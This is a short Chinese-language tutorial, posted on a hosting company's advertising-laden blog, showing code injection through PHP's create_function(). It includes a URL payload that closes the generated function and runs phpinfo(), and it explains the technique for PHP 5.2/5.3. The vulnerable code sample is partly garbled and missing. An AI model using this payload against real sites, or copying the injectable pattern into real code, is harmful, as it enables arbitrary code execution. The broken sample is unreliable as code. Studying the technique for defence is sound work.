第一部分：介紹php函數(shù) create_function()：

創(chuàng)新互聯(lián)建站主營梅州網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營網(wǎng)站建設(shè)方案,成都app開發(fā),梅州h5小程序制作搭建,梅州網(wǎng)站營銷推廣歡迎梅州等地區(qū)企業(yè)咨詢

string create_function   ( string $args  , string $code  )

string $args變量部分

string $code 方法代碼部分

舉例：

create_function('$fname','echo $fname."Zhang"')

類似于：

function fT($fname) {   echo $fname."Zhang"; }

舉一個官方提供的例子：

第二部分：如何利用create_function(）代碼注入

測試環(huán)境版本：

apache +php 5.2、apache +php 5.3

有問題的代碼：

"; echo "=============================="; echo "
"; $f1 = create_function('$a',$str2); echo "
"; echo "=============================="; ?>

利用方法：

http://localhost/libtest/02-8.php?id=2;}phpinfo();/*

實現(xiàn)原理：

由于id=2;}phpinfo();/*

執(zhí)行函數(shù)為：

源代碼： function fT($a) {   echo "test".$a; } 注入后代碼： function fT($a) {   echo "test";}   phpinfo();/*;//此處為注入代碼。 }

測試效果：

另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)cdcxhl.cn，海內(nèi)外云服務(wù)器15元起步，三天無理由+7*72小時售后在線，公司持有idc許可證，提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國服務(wù)器、虛擬主機、免備案服務(wù)器”等云主機租用服務(wù)以及企業(yè)上云的綜合解決方案，具有“安全穩(wěn)定、簡單易用、服務(wù)可用性高、性價比高”等特點與優(yōu)勢，專為企業(yè)上云打造定制，能夠滿足用戶豐富、多元化的應(yīng)用場景需求。

分享名稱：PHPcreate_function()代碼注入-創(chuàng)新互聯(lián)
本文網(wǎng)址：http://weahome.cn/article/cddeoi.html